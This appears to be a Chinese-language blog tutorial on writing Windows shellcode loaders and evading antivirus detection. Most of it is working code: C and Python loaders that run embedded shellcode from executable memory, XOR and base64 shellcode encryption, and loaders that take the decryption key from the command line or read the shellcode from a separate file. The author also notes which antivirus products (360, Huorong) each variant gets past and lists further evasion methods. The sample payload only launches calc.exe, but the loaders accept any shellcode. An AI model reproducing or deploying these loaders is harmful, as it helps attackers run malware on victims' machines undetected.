shellcode 什么是shellcode Shellcode 是一种特殊的二进制代码, 主要目的是在目标系统上执行特定的操作,例如获取系统权限、建立远程访问通道、执行恶意代码等。以为我的二进制漏洞利用ret2shellcode来看,就是写了一个特定任务的机器码指令,他们被设计成紧凑且直接执行所需操作的二进制表示形式。
这些指令被用于利用漏洞、执行特定的恶意功能或远程命令与控制(C2)服务建立连接
1 exe文件-->硬盘-->把exe内容、读取到内存中-->转成二进制指令-->cpu运行
shellcode通常以二进制格式存储,以为它需要直接由计算机的中央处理单元(CPU)执行。
一般情况下,shellcode可能以十六进制字符串的形式出现,但在程序运行时,常被解析为二进制数据。并且要使用它,通常要将它嵌入到合适的载体中或者以其他方式将其传递给目标系统,以便执行其中命令。
shellcode加载器 shellcode加载器用于帮助shellcode文件/16进制字符串的shellcode,运行的工具,通过由一段代码组成,帮助shellcode在目标程序运行起来。
如何编写:
由于shellcode直接由cpu执行,所以我们要一个程序运行需要以下几个功能
开辟内存
把shellcode存到这块内存中
想办法让这块内存中的shellcode被cpu执行,回调函数执行
如何执行执行这些功能:
windows自带的一下api可以帮助我们实现
VirtualAlloc函数 VirtualAlloc是WindowsAPI中用于分配/申请、保留或提交内存区域的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 LPVOID VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;
memcpy函数 C标准库中的一个函数,用于将内存块的内容从一个位置复制到另一个位置
1 2 3 4 5 void *memcpy ( void *dest, const void *src, size_t n ) ;
CreateThread CreateThread是Windows API 中用于创建新线程的函数
1 2 3 4 5 6 7 8 HANDLE CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) ;
C语言加载器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00" ;void main () { LPVOID exec = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec == NULL ) { return ; } memcpy (exec, buf, sizeof (buf)); HANDLE hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)exec, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); }
python加载器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import ctypesVirtualAlloc = ctypes.windll.kernel32.VirtualAlloc RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory CreateThread = ctypes.windll.kernel32.CreateThread WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject buf = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56" b"\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48" b"\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61" b"\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48" b"\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85" b"\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0" b"\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31" b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24" b"\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41" b"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48" b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" b"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e" b"\x65\x78\x65\x00" ) VirtualAlloc.restype = ctypes.c_uint64 p = VirtualAlloc(0 , len (buf), 0x3000 , 0x40 ) if not p: print ("VirtualAlloc 失败" ) exit(1 ) print (f"[+] 分配内存成功,地址: {hex (p)} " )buf_pointer = (ctypes.c_char * len (buf)).from_buffer(bytearray (buf)) RtlMoveMemory(ctypes.c_void_p(p), buf_pointer, len (buf)) print ("[+] Shellcode 写入成功" )hThread = CreateThread(0 , 0 , ctypes.c_void_p(p), 0 , 0 , ctypes.pointer(ctypes.c_int(0 ))) if not hThread: print ("CreateThread 失败" ) exit(1 ) print (f"[+] 线程创建成功,句柄: {hex (hThread)} " )WaitForSingleObject(hThread, -1 )
python打包成exe
1 2 3 4 5 6 7 8 9 10 pip3 install pyinstaller pyinstaller -F -w calc.py -F 打包成一个exe文件 -w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数 -i 指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标 (不推荐图标) -n 指定打包好的文件名 --clean 清除上一次打包的文件 --key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)
免杀 什么是免杀 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
它是一种能使病毒木马免于被杀毒软件查杀的技术 。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或者没能力接触这些深层技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
简单来说就是通过一些技术手段,让你的恶意样本(病毒和木马)规避掉杀毒软件的检测,能够像正常程序一样运行。
为什么有免杀 默认一些C2生成的木马,其特征已经被各大杀毒软件给标记到了自己的木马病毒库中,所以在实战中如果目标存在杀软,我们需要对自己的木马进行免杀。
免杀有哪些方法 常见的免杀方法
加壳
shellcode混淆、加密
各种语言的加载器、c、python、go等
powershell混淆免杀
分离免杀(远程加载)shellcode和加载器不写在一个文件中,远程加载等
黑加白(白名单程序执行恶意样本)
使用github上的一些免杀工具
自己写加载器
自己写/二开远控等等
杀软的查杀基本原理 杀毒软件对程序的划分大致分为三种
无害
没有可疑行为,没有任何的特征符合病毒和木马
可疑
存在可疑行为,例如操作注册表、打开powershell、修改用户、操作敏感文件等
存在木马病毒
特征符合木马或病毒
杀软常用的识别恶意样本的方式
静态查杀 静态查杀通常是会使用病毒特征库,这是一个包含病毒、恶意软件或者其他威胁的特定标识的数据库。这些特定标识可以是文件的代码特定片段、独特的字符串、文件结构 等。杀软通过对比这些文件特征与特征库中存在信息是否匹配,来判断文件是否恶意。
代码中的函数
杀软会通过反编译/查看exe字符串的方式查看代码,可以看到里面的一些函数和汇编代码。
比如:rtualalloc,rtlmovememory,creatthread 等
主要都是 windows api 函数,尤其是和内存、堆、线程相关的函数
shellcode特征
文件名和md5 如果这个文件名使用了 rlo 翻转的话 , 无论是否是病毒都会直接杀 , md5值的话就是匹配样本库中的
md5值 , 看是否存在
1 demo.txt.exe --> demo.exe.txt
查看文件 md5 hash
1 CertUtil -hashfile 文件路径 md5
加密 使用加密解密行为或者对文件有额外保护措施(加壳)
数字签名 正规的程序 , 都是有数字签名的
动态查杀 通常这一步都是静态分析之后做的,大多杀毒软件会有云沙箱 , 相当于开一个虚拟机运行一下你的恶意样本, 通过分析程序指令出现的顺序,或者特定的组合情况以及所调用的函数及其参数等属于恶意行为特征,来判断目标程序是不是病毒程序。
相比于静态查杀,动态查杀更关注程序的执行过程,允许检测和分析未知的、可能是恶意的行为。
计算机相关 通常由r1或r2层挂监控的方式(类似于hook)当触发这些条件就会产生事件 , 例如 : 360会在系统的内核层会对注册表和net1.exe进行监控 , 注册表的监控相对不那么严格 , 可以通过 win32 api 添加用户 , 通常杀软监控的有
1 2 3 4 5 6 7 8 9 10 服务 注册表 组策略 防火墙 敏感程序 : cmd powershell wmi psexec bitsadmin rundll等 用户 : 添加,删除,修改等操作 文件夹 : C:\windows\system32 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup %tmp% 等敏感文件夹
常见的绕过思路 : 替换方式方法 , cmd用不了 , 换powershell(混淆,编码,加密), 换windows api函数 , 或者用shellcode
网络相关 1 2 3 4 5 6 iP,域名,证书 查找通讯的ip或域名是否之前存在攻击行为 流量内容 时间特征:扫描等, 大规模扫描或其他不寻常的网络行为 内容特征:data字段中是否存在命令控制相关的关键词或或者加密特征 结构特征:是否存在已知远控的通讯结构特征 \x00\x00\0x00\x0
常见的绕过思路
tcp分段、内容加密、使用合法证书等。
补充:有些杀软可能没有那么强,但是总体杀软识别的就是这个大概思路。
样本启动流程
shellcode处理 shellcode加密 异或加密 一种非常简单方便的shellcode处理方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <stdlib.h> void xor_encrypt_decrypt (const char *input_file, const char *output_file, int key) { FILE *fin = fopen(input_file, "rb" ); if (!fin) { perror("无法打开输入文件" ); exit (EXIT_FAILURE); } FILE *fout = fopen(output_file, "wb" ); if (!fout) { perror("无法创建输出文件" ); fclose(fin); exit (EXIT_FAILURE); } int ch; while ((ch = fgetc(fin)) != EOF) { fputc(ch ^ key, fout); } fclose(fin); fclose(fout); printf ("加密/解密完成,已生成 %s\n" , output_file); } int main (int argc, char *argv[]) { if (argc != 4 ) { printf ("用法: %s <输入文件> <密钥> <输出文件>\n" , argv[0 ]); return EXIT_FAILURE; } int key = atoi(argv[2 ]); xor_encrypt_decrypt(argv[1 ], argv[3 ], key); return EXIT_SUCCESS; }
这里笔者使用命令执行的编码
1 ./xor.exe shellcode.bin 99 output.bin
生成成功后,我们再用xxd将其提取出来即可
1 xxd -p out.bin | sed 's/\(..\)/\\x\1/g'
然后我们用加载器生成一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = {"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main () { int key = 99 ; myXor(buf, sizeof (buf), key); LPVOID addr = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, buf, sizeof (buf)); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); return 0 ; }
当然生成的这个,是包被杀的,因为是单次异或,又或者是进程存在了密钥进行解密了,所以建议使用命令行传密钥。
这里尝试两次异或 试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = {"\xc7\x73\xb8\xdf\xcb\xd3\xfb\x3b\x3b\x3b\x7a\x6a\x7a\x6b\x69\x6a\x6d\x73\x0a\xe9\x5e\x73\xb0\x69\x5b\x73\xb0\x69\x23\x73" "\xb0\x69\x1b\x73\xb0\x49\x6b\x73\x34\x8c\x71\x71\x76\x0a\xf2\x73\x0a\xfb\x97\x07\x5a\x47\x39\x17\x1b\x7a\xfa\xf2\x36\x7a" "\x3a\xfa\xd9\xd6\x69\x7a\x6a\x73\xb0\x69\x1b\xb0\x79\x07\x73\x3a\xeb\xb0\xbb\xb3\x3b\x3b\x3b\x73\xbe\xfb\x4f\x5c\x73\x3a" "\xeb\x6b\xb0\x73\x23\x7f\xb0\x7b\x1b\x72\x3a\xeb\xd8\x6d\x73\xc4\xf2\x7a\xb0\x0f\xb3\x73\x3a\xed\x76\x0a\xf2\x73\x0a\xfb" "\x97\x7a\xfa\xf2\x36\x7a\x3a\xfa\x03\xdb\x4e\xca\x77\x38\x77\x1f\x33\x7e\x02\xea\x4e\xe3\x63\x7f\xb0\x7b\x1f\x72\x3a\xeb" "\x5d\x7a\xb0\x37\x73\x7f\xb0\x7b\x27\x72\x3a\xeb\x7a\xb0\x3f\xb3\x73\x3a\xeb\x7a\x63\x7a\x63\x65\x62\x61\x7a\x63\x7a\x62" "\x7a\x61\x73\xb8\xd7\x1b\x7a\x69\xc4\xdb\x63\x7a\x62\x61\x73\xb0\x29\xd2\x6c\xc4\xc4\xc4\x66\x73\x81\x3a\x3b\x3b\x3b\x3b" "\x3b\x3b\x3b\x73\xb6\xb6\x3a\x3a\x3b\x3b\x7a\x81\x0a\xb0\x54\xbc\xc4\xee\x80\xcb\x8e\x99\x6d\x7a\x81\x9d\xae\x86\xa6\xc4" "\xee\x73\xb8\xff\x13\x07\x3d\x47\x31\xbb\xc0\xdb\x4e\x3e\x80\x7c\x28\x49\x54\x51\x3b\x62\x7a\xb2\xe1\xc4\xee\x58\x5a\x57" "\x58\x15\x5e\x43\x5e\x3b" }; int main () { int key = 99 ; myXor(buf, sizeof (buf), key); int key1 = 88 ; myXor(buf, sizeof (buf), key1); LPVOID addr = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, buf, sizeof (buf)); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return 0 ; }
发现也是行不通的,这里采用命令行传密钥 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <windows.h> #include <stdio.h> #include <stdlib.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); LPVOID addr = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, buf, sizeof (buf)); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); return 0 ; }
这里注意的是火绒过了,360没过。
这块笔者也是试了二次异或进行命令行传参,当然是没有过的,所以还是建议换一种进行加密。
base64加密 使用c语言实现一个从16进制字符串中读取shellcode, 进行base64编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdint.h> const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ;char * base64_encode (const unsigned char * data, size_t input_length) { size_t output_length = 4 * ((input_length + 2 ) / 3 ); char * encoded_data = (char *)malloc (output_length + 1 ); if (!encoded_data) return NULL ; size_t i, j; for (i = 0 , j = 0 ; i < input_length;) { uint32_t octet_a = i < input_length ? data[i++] : 0 ; uint32_t octet_b = i < input_length ? data[i++] : 0 ; uint32_t octet_c = i < input_length ? data[i++] : 0 ; uint32_t triple = (octet_a << 16 ) | (octet_b << 8 ) | octet_c; encoded_data[j++] = base64_chars[(triple >> 18 ) & 0x3F ]; encoded_data[j++] = base64_chars[(triple >> 12 ) & 0x3F ]; encoded_data[j++] = (i > input_length + 1 ) ? '=' : base64_chars[(triple >> 6 ) & 0x3F ]; encoded_data[j++] = (i > input_length) ? '=' : base64_chars[triple & 0x3F ]; } encoded_data[output_length] = '\0' ; return encoded_data; } unsigned char * hex_to_bytes (const char * hex, size_t * output_length) { size_t len = strlen (hex); size_t count = 0 ; for (size_t i = 0 ; i < len; i++) { if (isxdigit ((unsigned char )hex[i])) { count++; } } if (count % 2 != 0 ) { fprintf (stderr , "Error: Hex string length must be even (got %zu)\n" , count); return NULL ; } *output_length = count / 2 ; unsigned char * bytes = (unsigned char *)malloc (*output_length); if (!bytes) return NULL ; size_t j = 0 ; for (size_t i = 0 ; i < len && j < *output_length;) { if (hex[i] == '\\' && hex[i + 1 ] == 'x' ) { i += 2 ; if (i + 1 < len && isxdigit ((unsigned char )hex[i]) && isxdigit ((unsigned char )hex[i + 1 ])) { sscanf (hex + i, "%2hhx" , &bytes[j++]); i += 2 ; } } else if (isxdigit ((unsigned char )hex[i]) && isxdigit ((unsigned char )hex[i + 1 ])) { sscanf (hex + i, "%2hhx" , &bytes[j++]); i += 2 ; } else { i++; } } return bytes; } int main (int argc, char * argv[]) { if (argc != 2 ) { fprintf (stderr , "Usage: %s <hex file>\n" , argv[0 ]); return 1 ; } FILE* file = fopen(argv[1 ], "r" ); if (!file) { perror("Error opening file" ); return 1 ; } fseek(file, 0 , SEEK_END); long file_size = ftell(file); rewind(file); char * hex_data = (char *)malloc (file_size + 1 ); if (!hex_data) { fprintf (stderr , "Memory allocation failed\n" ); fclose(file); return 1 ; } fread(hex_data, 1 , file_size, file); hex_data[file_size] = '\0' ; fclose(file); size_t binary_length; unsigned char * binary_data = hex_to_bytes(hex_data, &binary_length); if (!binary_data) { fprintf (stderr , "Failed to parse hex data from %s\n" , argv[1 ]); free (hex_data); return 1 ; } free (hex_data); char * base64_output = base64_encode(binary_data, binary_length); free (binary_data); if (!base64_output) { fprintf (stderr , "Base64 encoding failed\n" ); return 1 ; } printf ("%s\n" , base64_output); free (base64_output); return 0 ; }
得到我们生成的base64编码
1 /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA
工具生成应该也没啥问题
然后我们用加载器加载一下这段shellcode就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdio.h> #include <windows.h> #include <string.h> #include <wincrypt.h> #pragma comment(lib,"Crypt32.lib" ) unsigned char shellcode[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA" ;unsigned int calc_len = sizeof (shellcode);int DecodeBase64 (const BYTE* src, unsigned int srcLen, char * dst, unsigned int dstLen) { DWORD outLen; BOOL fRet; outLen = dstLen; fRet = CryptStringToBinaryA((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL , NULL ); if (!fRet) { outLen = 0 ; } return (outLen); } int main () { LPVOID exec_mem = VirtualAlloc(0 , calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); DecodeBase64((const BYTE*)shellcode, calc_len, (char *)exec_mem, calc_len); ((void (*)())exec_mem)(); return 0 ; }
但是一般这种情况都会被杀,360和火绒都过不了
这里请教了一下Strider师傅 ,他说shellcode这块使用异或就可以了,不行的话就多以或几次
但是这里笔者还是尝试一下分离加载 ,把码表和shellcode写到外部文件里边
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <wincrypt.h> #pragma comment(lib, "Crypt32.lib" ) void handleError (const char * msg) { printf ("%s: %d\n" , msg, GetLastError()); exit (1 ); } int main () { FILE* file = fopen("shellcode.txt" , "rb" ); if (!file) handleError("Failed to open shellcode.txt" ); fseek(file, 0 , SEEK_END); unsigned int encodedLen = ftell(file); rewind(file); char * encoded_shellcode = (char *)malloc (encodedLen + 1 ); if (!encoded_shellcode) handleError("Memory allocation failed" ); fread(encoded_shellcode, 1 , encodedLen, file); fclose(file); encoded_shellcode[encodedLen] = '\0' ; unsigned int decodedLen = (encodedLen * 3 ) / 4 ; decodedLen = (decodedLen + 4095 ) & ~4095 ; printf ("encodedLen: %u, decodedLen: %u\n" , encodedLen, decodedLen); LPVOID exec_mem = VirtualAlloc(NULL , decodedLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!exec_mem) handleError("VirtualAlloc failed" ); DWORD outLen = decodedLen; BOOL success = CryptStringToBinaryA(encoded_shellcode, encodedLen, CRYPT_STRING_BASE64, (BYTE*)exec_mem, &outLen, NULL , NULL ); if (!success) { handleError("Base64 decode failed" ); } free (encoded_shellcode); DWORD oldProtect; if (!VirtualProtect(exec_mem, decodedLen, PAGE_EXECUTE_READ, &oldProtect)) { handleError("VirtualProtect failed" ); } printf ("Executing shellcode...\n" ); ((void 